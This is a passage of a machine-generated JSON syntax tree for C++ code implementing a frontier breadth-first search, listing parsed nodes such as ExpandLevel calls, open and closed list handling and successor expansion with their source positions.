34}, "end_point": {"row": 142, "column": 47}}, {"id": 821, "type": "identifier", "text": "mClosed1", "parent": 820, "children": [], "start_point": {"row": 142, "column": 34}, "end_point": {"row": 142, "column": 42}}, {"id": 822, "type": "field_identifier", "text": "size", "parent": 820, "children": [], "start_point": {"row": 142, "column": 43}, "end_point": {"row": 142, "column": 47}}, {"id": 823, "type": "argument_list", "text": "()", "parent": 819, "children": [], "start_point": {"row": 142, "column": 47}, "end_point": {"row": 142, "column": 49}}, {"id": 824, "type": "+", "text": "+", "parent": 804, "children": [], "start_point": {"row": 142, "column": 49}, "end_point": {"row": 142, "column": 50}}, {"id": 825, "type": "call_expression", "text": "mClosed2.size()", "parent": 804, "children": [826, 829], "start_point": {"row": 142, "column": 50}, "end_point": {"row": 142, "column": 65}}, {"id": 826, "type": "field_expression", "text": "mClosed2.size", "parent": 825, "children": [827, 828], "start_point": {"row": 142, "column": 50}, "end_point": {"row": 142, "column": 63}}, {"id": 827, "type": "identifier", "text": "mClosed2", "parent": 826, "children": [], "start_point": {"row": 142, "column": 50}, "end_point": {"row": 142, "column": 58}}, {"id": 828, "type": "field_identifier", "text": "size", "parent": 826, "children": [], "start_point": {"row": 142, "column": 59}, "end_point": {"row": 142, "column": 63}}, {"id": 829, "type": "argument_list", "text": "()", "parent": 825, "children": [], "start_point": {"row": 142, "column": 63}, "end_point": {"row": 142, "column": 65}}, {"id": 830, "type": "assignment_expression", "text": "n = nodesExpanded", "parent": 771, "children": [831, 832, 833], "start_point": {"row": 143, "column": 2}, "end_point": {"row": 143, "column": 19}}, {"id": 831, "type": "identifier", "text": "n", "parent": 830, "children": [], "start_point": {"row": 143, "column": 2}, "end_point": {"row": 143, "column": 3}}, {"id": 832, "type": "=", "text": "=", "parent": 830, "children": [], "start_point": {"row": 143, "column": 4}, "end_point": {"row": 143, "column": 5}}, {"id": 833, "type": "identifier", "text": "nodesExpanded", "parent": 830, "children": [], "start_point": {"row": 143, "column": 6}, "end_point": {"row": 143, "column": 19}}, {"id": 834, "type": "if_statement", "text": "if (mOpen1.size() == 0)\n\t\t{\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}", "parent": 771, "children": [835, 857], "start_point": {"row": 144, "column": 2}, "end_point": {"row": 152, "column": 3}}, {"id": 835, "type": "parenthesized_expression", "text": "(mOpen1.size() == 0)", "parent": 834, "children": [836], "start_point": {"row": 144, "column": 5}, "end_point": {"row": 144, "column": 25}}, {"id": 836, "type": "binary_expression", "text": "mOpen1.size() == 0", "parent": 835, "children": [837, 842, 843], "start_point": {"row": 144, "column": 6}, "end_point": {"row": 144, "column": 24}}, {"id": 837, "type": "call_expression", "text": "mOpen1.size()", "parent": 836, "children": [838, 841], "start_point": {"row": 144, "column": 6}, "end_point": {"row": 144, "column": 19}}, {"id": 838, "type": "field_expression", "text": "mOpen1.size", "parent": 837, "children": [839, 840], "start_point": {"row": 144, "column": 6}, "end_point": {"row": 144, "column": 17}}, {"id": 839, "type": "identifier", "text": "mOpen1", "parent": 838, "children": [], "start_point": {"row": 144, "column": 6}, "end_point": {"row": 144, "column": 12}}, {"id": 840, "type": "field_identifier", "text": "size", "parent": 838, "children": [], "start_point": {"row": 144, "column": 13}, "end_point": {"row": 144, "column": 17}}, {"id": 841, "type": "argument_list", "text": "()", "parent": 837, "children": [], "start_point": {"row": 144, "column": 17}, "end_point": {"row": 144, "column": 19}}, {"id": 842, "type": "==", "text": "==", "parent": 836, "children": [], "start_point": {"row": 144, "column": 20}, "end_point": {"row": 144, "column": 22}}, {"id": 843, "type": "number_literal", "text": "0", "parent": 836, "children": [], "start_point": {"row": 144, "column": 23}, "end_point": {"row": 144, "column": 24}}, {"id": 844, "type": "call_expression", "text": "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1)", "parent": 834, "children": [845, 846], "start_point": {"row": 146, "column": 3}, "end_point": {"row": 146, "column": 55}}, {"id": 845, "type": "identifier", "text": "ExpandLevel", "parent": 844, "children": [], "start_point": {"row": 146, "column": 3}, "end_point": {"row": 146, "column": 14}}, {"id": 846, "type": "argument_list", "text": "(env, mOpen2, mClosed2, mOpen1, mClosed1)", "parent": 844, "children": [847, 848, 849, 850, 851], "start_point": {"row": 146, "column": 14}, "end_point": {"row": 146, "column": 55}}, {"id": 847, "type": "identifier", "text": "env", "parent": 846, "children": [], "start_point": {"row": 146, "column": 15}, "end_point": {"row": 146, "column": 18}}, {"id": 848, "type": "identifier", "text": "mOpen2", "parent": 846, "children": [], "start_point": {"row": 146, "column": 20}, "end_point": {"row": 146, "column": 26}}, {"id": 849, "type": "identifier", "text": "mClosed2", "parent": 846, "children": [], "start_point": {"row": 146, "column": 28}, "end_point": {"row": 146, "column": 36}}, {"id": 850, "type": "identifier", "text": "mOpen1", "parent": 846, "children": [], "start_point": {"row": 146, "column": 38}, "end_point": {"row": 146, "column": 44}}, {"id": 851, "type": "identifier", "text": "mClosed1", "parent": 846, "children": [], "start_point": {"row": 146, "column": 46}, "end_point": {"row": 146, "column": 54}}, {"id": 852, "type": "call_expression", "text": "mClosed1.clear()", "parent": 834, "children": [853, 856], "start_point": {"row": 147, "column": 3}, "end_point": {"row": 147, "column": 19}}, {"id": 853, "type": "field_expression", "text": "mClosed1.clear", "parent": 852, "children": [854, 855], "start_point": {"row": 147, "column": 3}, "end_point": {"row": 147, "column": 17}}, {"id": 854, "type": "identifier", "text": "mClosed1", "parent": 853, "children": [], "start_point": {"row": 147, "column": 3}, "end_point": {"row": 147, "column": 11}}, {"id": 855, "type": "field_identifier", "text": "clear", "parent": 853, "children": [], "start_point": {"row": 147, "column": 12}, "end_point": {"row": 147, "column": 17}}, {"id": 856, "type": "argument_list", "text": "()", "parent": 852, "children": [], "start_point": {"row": 147, "column": 17}, "end_point": {"row": 147, "column": 19}}, {"id": 857, "type": "else_clause", "text": "else {\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}", "parent": 834, "children": [], "start_point": {"row": 149, "column": 2}, "end_point": {"row": 152, "column": 3}}, {"id": 858, "type": "call_expression", "text": "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2)", "parent": 857, "children": [859, 860], "start_point": {"row": 150, "column": 3}, "end_point": {"row": 150, "column": 55}}, {"id": 859, "type": "identifier", "text": "ExpandLevel", "parent": 858, "children": [], "start_point": {"row": 150, "column": 3}, "end_point": {"row": 150, "column": 14}}, {"id": 860, "type": "argument_list", "text": "(env, mOpen1, mClosed1, mOpen2, mClosed2)", "parent": 858, "children": [861, 862, 863, 864, 865], "start_point": {"row": 150, "column": 14}, "end_point": {"row": 150, "column": 55}}, {"id": 861, "type": "identifier", "text": "env", "parent": 860, "children": [], "start_point": {"row": 150, "column": 15}, "end_point": {"row": 150, "column": 18}}, {"id": 862, "type": "identifier", "text": "mOpen1", "parent": 860, "children": [], "start_point": {"row": 150, "column": 20}, "end_point": {"row": 150, "column": 26}}, {"id": 863, "type": "identifier", "text": "mClosed1", "parent": 860, "children": [], "start_point": {"row": 150, "column": 28}, "end_point": {"row": 150, "column": 36}}, {"id": 864, "type": "identifier", "text": "mOpen2", "parent": 860, "children": [], "start_point": {"row": 150, "column": 38}, "end_point": {"row": 150, "column": 44}}, {"id": 865, "type": "identifier", "text": "mClosed2", "parent": 860, "children": [], "start_point": {"row": 150, "column": 46}, "end_point": {"row": 150, "column": 54}}, {"id": 866, "type": "call_expression", "text": "mClosed2.clear()", "parent": 857, "children": [867, 870], "start_point": {"row": 151, "column": 3}, "end_point": {"row": 151, "column": 19}}, {"id": 867, "type": "field_expression", "text": "mClosed2.clear", "parent": 866, "children": [868, 869], "start_point": {"row": 151, "column": 3}, "end_point": {"row": 151, "column": 17}}, {"id": 868, "type": "identifier", "text": "mClosed2", "parent": 867, "children": [], "start_point": {"row": 151, "column": 3}, "end_point": {"row": 151, "column": 11}}, {"id": 869, "type": "field_identifier", "text": "clear", "parent": 867, "children": [], "start_point": {"row": 151, "column": 12}, "end_point": {"row": 151, "column": 17}}, {"id": 870, "type": "argument_list", "text": "()", "parent": 866, "children": [], "start_point": {"row": 151, "column": 17}, "end_point": {"row": 151, "column": 19}}, {"id": 871, "type": "update_expression", "text": "depth++", "parent": 771, "children": [872, 873], "start_point": {"row": 153, "column": 2}, "end_point": {"row": 153, "column": 9}}, {"id": 872, "type": "identifier", "text": "depth", "parent": 871, "children": [], "start_point": {"row": 153, "column": 2}, "end_point": {"row": 153, "column": 7}}, {"id": 873, "type": "++", "text": "++", "parent": 871, "children": [], "start_point": {"row": 153, "column": 7}, "end_point": {"row": 153, "column": 9}}, {"id": 874, "type": "comma_expression", "text": "template <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 0, "children": [875, 878, 880], "start_point": {"row": 157, "column": 0}, "end_point": {"row": 162, "column": 50}}, {"id": 875, "type": "binary_expression", "text": "template <class", "parent": 874, "children": [876, 877], "start_point": {"row": 157, "column": 0}, "end_point": {"row": 157, "column": 15}}, {"id": 876, "type": "identifier", "text": "template", "parent": 875, "children": [], "start_point": {"row": 157, "column": 0}, "end_point": {"row": 157, "column": 8}}, {"id": 877, "type": "<", "text": "<", "parent": 875, "children": [], "start_point": {"row": 157, "column": 9}, "end_point": {"row": 157, "column": 10}}, {"id": 878, "type": "ERROR", "text": "state", "parent": 874, "children": [879], "start_point": {"row": 157, "column": 16}, "end_point": {"row": 157, "column": 21}}, {"id": 879, "type": "identifier", "text": "state", "parent": 878, "children": [], "start_point": {"row": 157, "column": 16}, "end_point": {"row": 157, "column": 21}}, {"id": 880, "type": "comma_expression", "text": "action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 874, "children": [881, 890], "start_point": {"row": 157, "column": 29}, "end_point": {"row": 162, "column": 50}}, {"id": 881, "type": "binary_expression", "text": "action>\nvoid FrontierBFS<state", "parent": 880, "children": [882, 888, 889], "start_point": {"row": 157, "column": 29}, "end_point": {"row": 158, "column": 22}}, {"id": 882, "type": "binary_expression", "text": "action>\nvoid FrontierBFS", "parent": 881, "children": [883, 884, 885, 887], "start_point": {"row": 157, "column": 29}, "end_point": {"row": 158, "column": 16}}, {"id": 883, "type": "identifier", "text": "action", "parent": 882, "children": [], "start_point": {"row": 157, "column": 29}, "end_point": {"row": 157, "column": 35}}, {"id": 884, "type": ">", "text": ">", "parent": 882, "children": [], "start_point": {"row": 157, "column": 35}, "end_point": {"row": 157, "column": 36}}, {"id": 885, "type": "ERROR", "text": "void", "parent": 882, "children": [886], "start_point": {"row": 158, "column": 0}, "end_point": {"row": 158, "column": 4}}, {"id": 886, "type": "identifier", "text": "void", "parent": 885, "children": [], "start_point": {"row": 158, "column": 0}, "end_point": {"row": 158, "column": 4}}, {"id": 887, "type": "identifier", "text": "FrontierBFS", "parent": 882, "children": [], "start_point": {"row": 158, "column": 5}, "end_point": {"row": 158, "column": 16}}, {"id": 888, "type": "<", "text": "<", "parent": 881, "children": [], "start_point": {"row": 158, "column": 16}, "end_point": {"row": 158, "column": 17}}, {"id": 889, "type": "identifier", "text": "state", "parent": 881, "children": [], "start_point": {"row": 158, "column": 17}, "end_point": {"row": 158, "column": 22}}, {"id": 890, "type": "binary_expression", "text": "action>::ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 880, "children": [891, 892, 893], "start_point": {"row": 158, "column": 24}, "end_point": {"row": 162, "column": 50}}, {"id": 891, "type": "identifier", "text": "action", "parent": 890, "children": [], "start_point": {"row": 158, "column": 24}, "end_point": {"row": 158, "column": 30}}, {"id": 892, "type": ">", "text": ">", "parent": 890, "children": [], "start_point": {"row": 158, "column": 30}, "end_point": {"row": 158, "column": 31}}, {"id": 893, "type": "call_expression", "text": "ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 890, "children": [894, 895], "start_point": {"row": 158, "column": 33}, "end_point": {"row": 162, "column": 50}}, {"id": 894, "type": "identifier", "text": "ExpandLevel", "parent": 893, "children": [], "start_point": {"row": 158, "column": 33}, "end_point": {"row": 158, "column": 44}}, {"id": 895, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)", "parent": 893, "children": [896, 900, 906, 908, 916, 919, 921, 929], "start_point": {"row": 158, "column": 44}, "end_point": {"row": 162, "column": 50}}, {"id": 896, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 895, "children": [897, 898, 899], "start_point": {"row": 158, "column": 45}, "end_point": {"row": 158, "column": 68}}, {"id": 897, "type": "identifier", "text": "SearchEnvironment", "parent": 896, "children": [], "start_point": {"row": 158, "column": 45}, "end_point": {"row": 158, "column": 62}}, {"id": 898, "type": "<", "text": "<", "parent": 896, "children": [], "start_point": {"row": 158, "column": 62}, "end_point": {"row": 158, "column": 63}}, {"id": 899, "type": "identifier", "text": "state", "parent": 896, "children": [], "start_point": {"row": 158, "column": 63}, "end_point": {"row": 158, "column": 68}}, {"id": 900, "type": "binary_expression", "text": "action> *env", "parent": 895, "children": [901, 902, 903], "start_point": {"row": 158, "column": 70}, "end_point": {"row": 158, "column": 82}}, {"id": 901, "type": "identifier", "text": "action", "parent": 900, "children": [], "start_point": {"row": 158, "column": 70}, "end_point": {"row": 158, "column": 76}}, {"id": 902, "type": ">", "text": ">", "parent": 900, "children": [], "start_point": {"row": 158, "column": 76}, "end_point": {"row": 158, "column": 77}}, {"id": 903, "type": "pointer_expression", "text": "*env", "parent": 900, "children": [904, 905], "start_point": {"row": 158, "column": 78}, "end_point": {"row": 158, "column": 82}}, {"id": 904, "type": "*", "text": "*", "parent": 903, "children": [], "start_point": {"row": 158, "column": 78}, "end_point": {"row": 158, "column": 79}}, {"id": 905, "type": "identifier", "text": "env", "parent": 903, "children": [], "start_point": {"row": 158, "column": 79}, "end_point": {"row": 158, "column": 82}}, {"id": 906, "type": "ERROR", "text": "std::", "parent": 895, "children": [907], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 17}}, {"id": 907, "type": "identifier", "text": "std", "parent": 906, "children": [], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 15}}, {"id": 908, "type": "binary_expression", "text": "deque<state> &currentOpenList", "parent": 895, "children": [909, 913, 914], "start_point": {"row": 159, "column": 17}, "end_point": {"row": 159, "column": 46}}, {"id": 909, "type": "binary_expression", "text": "deque<state", "parent": 908, "children": [910, 911, 912], "start_point": {"row": 159, "column": 17}, "end_point": {"row": 159, "column": 28}}, {"id": 910, "type": "identifier", "text": "deque", "parent": 909, "children": [], "start_point": {"row": 159, "column": 17}, "end_point": {"row": 159, "column": 22}}, {"id": 911, "type": "<", "text": "<", "parent": 909, "children": [], "start_point": {"row": 159, "column": 22}, "end_point": {"row": 159, "column": 23}}, {"id": 912, "type": "identifier", "text": "state", "parent": 909, "children": [], "start_point": {"row": 159, "column": 23}, "end_point": {"row": 159, "column": 28}}, {"id": 913, "type": ">", "text": ">", "parent": 908, "children": [], "start_point": {"row": 159, "column": 28}, "end_point": {"row": 159, "column": 29}}, {"id": 914, "type": "pointer_expression", "text": "&currentOpenList", "parent": 908, "children": [915], "start_point": {"row": 159, "column": 30}, "end_point": {"row": 159, "column": 46}}, {"id": 915, "type": "identifier", "text": "currentOpenList", "parent": 914, "children": [], "start_point": {"row": 159, "column": 31}, "end_point": {"row": 159, "column": 46}}, {"id": 916, "type": "binary_expression", "text": "FrontierBFSClosedList &currentClosedList", "parent": 895, "children": [917, 918], "start_point": {"row": 160, "column": 12}, "end_point": {"row": 160, "column": 52}}, {"id": 917, "type": "identifier", "text": "FrontierBFSClosedList", "parent": 916, "children": [], "start_point": {"row": 160, "column": 12}, "end_point": {"row": 160, "column": 33}}, {"id": 918, "type": "identifier", "text": "currentClosedList", "parent": 916, "children": [], "start_point": {"row": 160, "column": 35}, "end_point": {"row": 160, "column": 52}}, {"id": 919, "type": "ERROR", "text": "std::", "parent": 895, "children": [920], "start_point": {"row": 161, "column": 12}, "end_point": {"row": 161, "column": 17}}, {"id": 920, "type": "identifier", "text": "std", "parent": 919, "children": [], "start_point": {"row": 161, "column": 12}, "end_point": {"row": 161, "column": 15}}, {"id": 921, "type": "binary_expression", "text": "deque<state> &nextOpenList", "parent": 895, "children": [922, 926, 927], "start_point": {"row": 161, "column": 17}, "end_point": {"row": 161, "column": 43}}, {"id": 922, "type": "binary_expression", "text": "deque<state", "parent": 921, "children": [923, 924, 925], "start_point": {"row": 161, "column": 17}, "end_point": {"row": 161, "column": 28}}, {"id": 923, "type": "identifier", "text": "deque", "parent": 922, "children": [], "start_point": {"row": 161, "column": 17}, "end_point": {"row": 161, "column": 22}}, {"id": 924, "type": "<", "text": "<", "parent": 922, "children": [], "start_point": {"row": 161, "column": 22}, "end_point": {"row": 161, "column": 23}}, {"id": 925, "type": "identifier", "text": "state", "parent": 922, "children": [], "start_point": {"row": 161, "column": 23}, "end_point": {"row": 161, "column": 28}}, {"id": 926, "type": ">", "text": ">", "parent": 921, "children": [], "start_point": {"row": 161, "column": 28}, "end_point": {"row": 161, "column": 29}}, {"id": 927, "type": "pointer_expression", "text": "&nextOpenList", "parent": 921, "children": [928], "start_point": {"row": 161, "column": 30}, "end_point": {"row": 161, "column": 43}}, {"id": 928, "type": "identifier", "text": "nextOpenList", "parent": 927, "children": [], "start_point": {"row": 161, "column": 31}, "end_point": {"row": 161, "column": 43}}, {"id": 929, "type": "binary_expression", "text": "FrontierBFSClosedList &lastClosedList", "parent": 895, "children": [930, 931], "start_point": {"row": 162, "column": 12}, "end_point": {"row": 162, "column": 49}}, {"id": 930, "type": "identifier", "text": "FrontierBFSClosedList", "parent": 929, "children": [], "start_point": {"row": 162, "column": 12}, "end_point": {"row": 162, "column": 33}}, {"id": 931, "type": "identifier", "text": "lastClosedList", "parent": 929, "children": [], "start_point": {"row": 162, "column": 35}, "end_point": {"row": 162, "column": 49}}, {"id": 932, "type": "declaration", "text": "static std::vector<state> neighbors;", "parent": 0, "children": [933, 934, 939], "start_point": {"row": 164, "column": 1}, "end_point": {"row": 164, "column": 37}}, {"id": 933, "type": "type_identifier", "text": "std", "parent": 932, "children": [], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 11}}, {"id": 934, "type": "ERROR", "text": "::vector<state>", "parent": 932, "children": [935, 936, 937, 938], "start_point": {"row": 164, "column": 11}, "end_point": {"row": 164, "column": 26}}, {"id": 935, "type": "identifier", "text": "vector", "parent": 934, "children": [], "start_point": {"row": 164, "column": 13}, "end_point": {"row": 164, "column": 19}}, {"id": 936, "type": "<", "text": "<", "parent": 934, "children": [], "start_point": {"row": 164, "column": 19}, "end_point": {"row": 164, "column": 20}}, {"id": 937, "type": "identifier", "text": "state", "parent": 934, "children": [], "start_point": {"row": 164, "column": 20}, "end_point": {"row": 164, "column": 25}}, {"id": 938, "type": ">", "text": ">", "parent": 934, "children": [], "start_point": {"row": 164, "column": 25}, "end_point": {"row": 164, "column": 26}}, {"id": 939, "type": "identifier", "text": "neighbors", "parent": 932, "children": [], "start_point": {"row": 164, "column": 27}, "end_point": {"row": 164, "column": 36}}, {"id": 940, "type": "call_expression", "text": "neighbors.resize(0)", "parent": 0, "children": [941, 944], "start_point": {"row": 165, "column": 1}, "end_point": {"row": 165, "column": 20}}, {"id": 941, "type": "field_expression", "text": "neighbors.resize", "parent": 940, "children": [942, 943], "start_point": {"row": 165, "column": 1}, "end_point": {"row": 165, "column": 17}}, {"id": 942, "type": "identifier", "text": "neighbors", "parent": 941, "children": [], "start_point": {"row": 165, "column": 1}, "end_point": {"row": 165, "column": 10}}, {"id": 943, "type": "field_identifier", "text": "resize", "parent": 941, "children": [], "start_point": {"row": 165, "column": 11}, "end_point": {"row": 165, "column": 17}}, {"id": 944, "type": "argument_list", "text": "(0)", "parent": 940, "children": [945], "start_point": {"row": 165, "column": 17}, "end_point": {"row": 165, "column": 20}}, {"id": 945, "type": "number_literal", "text": "0", "parent": 944, "children": [], "start_point": {"row": 165, "column": 18}, "end_point": {"row": 165, "column": 19}}, {"id": 946, "type": "while_statement", "text": "while (currentOpenList.size() > 0)\n\t{\n\t\tstate s = currentOpenList.front();\n\t\tcurrentOpenList.pop_front();\n\t\t\n\t\tif (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n\t\t{\n//\t\t\tprintf(\"Needed to check against current\\n\");\n\t\t\tcontinue;\n\t\t}\n//\t\tif (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n//\t\t{\n//\t\t\tprintf(\"Needed to check against last\\n\");\n//\t\t\tcontinue;\n//\t\t}\n\t\t\n\t\tcurrentClosedList[env->GetStateHash(s)] = true;\n\t\t\n\t\tnodesExpanded++;\n\t\tenv->GetSuccessors(s, neighbors);\n\t\tfor (unsigned int x = 0; x < neighbors.size(); x++)\n\t\t{\n\t\t\tif (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n\t\t\t\tcontinue;\n\t\t\tif (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n\t\t\t\tcontinue;\n\n\t\t\tnextOpenList.push_back(neighbors[x]);\n\t\t}\n\t}", "parent": 0, "children": [947], "start_point": {"row": 166, "column": 1}, "end_point": {"row": 195, "column": 2}}, {"id": 947, "type": "parenthesized_expression", "text": "(currentOpenList.size() > 0)", "parent": 946, "children": [948], "start_point": {"row": 166, "column": 7}, "end_point": {"row": 166, "column": 35}}, {"id": 948, "type": "binary_expression", "text": "currentOpenList.size() > 0", "parent": 947, "children": [949, 954, 955], "start_point": {"row": 166, "column": 8}, "end_point": {"row": 166, "column": 34}}, {"id": 949, "type": "call_expression", "text": "currentOpenList.size()", "parent": 948, "children": [950, 953], "start_point": {"row": 166, "column": 8}, "end_point": {"row": 166, "column": 30}}, {"id": 950, "type": "field_expression", "text": "currentOpenList.size", "parent": 949, "children": [951, 952], "start_point": {"row": 166, "column": 8}, "end_point": {"row": 166, "column": 28}}, {"id": 951, "type": "identifier", "text": "currentOpenList", "parent": 950, "children": [], "start_point": {"row": 166, "column": 8}, "end_point": {"row": 166, "column": 23}}, {"id": 952, "type": "field_identifier", "text": "size", "parent": 950, "children": [], "start_point": {"row": 166, "column": 24}, "end_point": {"row": 166, "column": 28}}, {"id": 953, "type": "argument_list", "text": "()", "parent": 949, "children": [], "start_point": {"row": 166, "column": 28}, "end_point": {"row": 166, "column": 30}}, {"id": 954, "type": ">", "text": ">", "parent": 948, "children": [], "start_point": {"row": 166, "column": 31}, "end_point": {"row": 166, "column": 32}}, {"id": 955, "type": "number_literal", "text": "0", "parent": 948, "children": [], "start_point": {"row": 166, "column": 33}, "end_point": {"row": 166, "column": 34}}, {"id": 956, "type": "declaration", "text": "state s = currentOpenList.front();", "parent": 946, "children": [957, 958], "start_point": {"row": 168, "column": 2}, "end_point": {"row": 168, "column": 36}}, {"id": 957, "type": "type_identifier", "text": "state", "parent": 956, "children": [], "start_point": {"row": 168, "column": 2}, "end_point": {"row": 168, "column": 7}}, {"id": 958, "type": "init_declarator", "text": "s = currentOpenList.front()", "parent": 956, "children": [959, 960, 961], "start_point": {"row": 168, "column": 8}, "end_point": {"row": 168, "column": 35}}, {"id": 959, "type": "identifier", "text": "s", "parent": 958, "children": [], "start_point": {"row": 168, "column": 8}, "end_point": {"row": 168, "column": 9}}, {"id": 960, "type": "=", "text": "=", "parent": 958, "children": [], "start_point": {"row": 168, "column": 10}, "end_point": {"row": 168, "column": 11}}, {"id": 961, "type": "call_expression", "text": "currentOpenList.front()", "parent": 958, "children": [962, 965], "start_point": {"row": 168, "column": 12}, "end_point": {"row": 168, "column": 35}}, {"id": 962, "type": "field_expression", "text": "currentOpenList.front", "parent": 961, "children": [963, 964], "start_point": {"row": 168, "column": 12}, "end_point": {"row": 168, "column": 33}}, {"id": 963, "type": "identifier", "text": "currentOpenList", "parent": 962, "children": [], "start_point": {"row": 168, "column": 12}, "end_point": {"row": 168, "column": 27}}, {"id": 964, "type": "field_identifier", "text": "front", "parent": 962, "children": [], "start_point": {"row": 168, "column": 28}, "end_point": {"row": 168, "column": 33}}, {"id": 965, "type": "argument_list", "text": "()", "parent": 961, "children": [], "start_point": {"row": 168, "column": 33}, "end_point": {"row": 168, "column": 35}}, {"id": 966, "type": "call_expression", "text": "currentOpenList.pop_front()", "parent": 946, "children": [967, 970], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 169, "column": 29}}, {"id": 967, "type": "field_expression", "text": "currentOpenList.pop_front", "parent": 966, "children": [968, 969], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 169, "column": 27}}, {"id": 968, "type": "identifier", "text": "currentOpenList", "parent": 967, "children": [], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 169, "column": 17}}, {"id": 969, "type": "field_identifier", "text": "pop_front", "parent": 967, "children": [], "start_point": {"row": 169, "column": 18}, "end_point": {"row": 169, "column": 27}}, {"id": 970, "type": "argument_list", "text": "()", "parent": 966, "children": [], "start_point": {"row": 169, "column": 27}, "end_point": {"row": 169, "column": 29}}, {"id": 971, "type": "if_statement", "text": "if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n\t\t{\n//\t\t\tprintf(\"Needed to check against current\\n\");\n\t\t\tcontinue;\n\t\t}", "parent": 946, "children": [972], "start_point": {"row": 171, "column": 2}, "end_point": {"row": 175, "column": 3}}, {"id": 972, "type": "parenthesized_expression", "text": "(currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())", "parent": 971, "children": [973], "start_point": {"row": 171, "column": 5}, "end_point": {"row": 171, "column": 78}}, {"id": 973, "type": "binary_expression", "text": "currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end()", "parent": 972, "children": [974, 985, 986], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 77}}, {"id": 974, "type": "call_expression", "text": "currentClosedList.find(env->GetStateHash(s))", "parent": 973, "children": [975, 978], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 50}}, {"id": 975, "type": "field_expression", "text": "currentClosedList.find", "parent": 974, "children": [976, 977], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 28}}, {"id": 976, "type": "identifier", "text": "currentClosedList", "parent": 975, "children": [], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 23}}, {"id": 977, "type": "field_identifier", "text": "find", "parent": 975, "children": [], "start_point": {"row": 171, "column": 24}, "end_point": {"row": 171, "column": 28}}, {"id": 978, "type": "argument_list", "text": "(env->GetStateHash(s))", "parent": 974, "children": [979], "start_point": {"row": 171, "column": 28}, "end_point": {"row": 171, "column": 50}}, {"id": 979, "type": "call_expression", "text": "env->GetStateHash(s)", "parent": 978, "children": [980, 983], "start_point": {"row": 171, "column": 29}, "end_point": {"row": 171, "column": 49}}, {"id": 980, "type": "field_expression", "text": "env->GetStateHash", "parent": 979, "children": [981, 982], "start_point": {"row": 171, "column": 29}, "end_point": {"row": 171, "column": 46}}, {"id": 981, "type": "identifier", "text": "env", "parent": 980, "children": [], "start_point": {"row": 171, "column": 29}, "end_point": {"row": 171, "column": 32}}, {"id": 982, "type": "field_identifier", "text": "GetStateHash", "parent": 980, "children": [], "start_point": {"row": 171, "column": 34}, "end_point": {"row": 171, "column": 46}}, {"id": 983, "type": "argument_list", "text": "(s)", "parent": 979, "children": [984], "start_point": {"row": 171, "column": 46}, "end_point": {"row": 171, "column": 49}}, {"id": 984, "type": "identifier", "text": "s", "parent": 983, "children": [], "start_point": {"row": 171, "column": 47}, "end_point": {"row": 171, "column": 48}}, {"id": 985, "type": "!=", "text": "!=", "parent": 973, "children": [], "start_point": {"row": 171, "column": 51}, "end_point": {"row": 171, "column": 53}}, {"id": 986, "type": "call_expression", "text": "currentClosedList.end()", "parent": 973, "children": [987, 989], "start_point": {"row": 171, "column": 54}, "end_point": {"row": 171, "column": 77}}, {"id": 987, "type": "field_expression", "text": "currentClosedList.end", "parent": 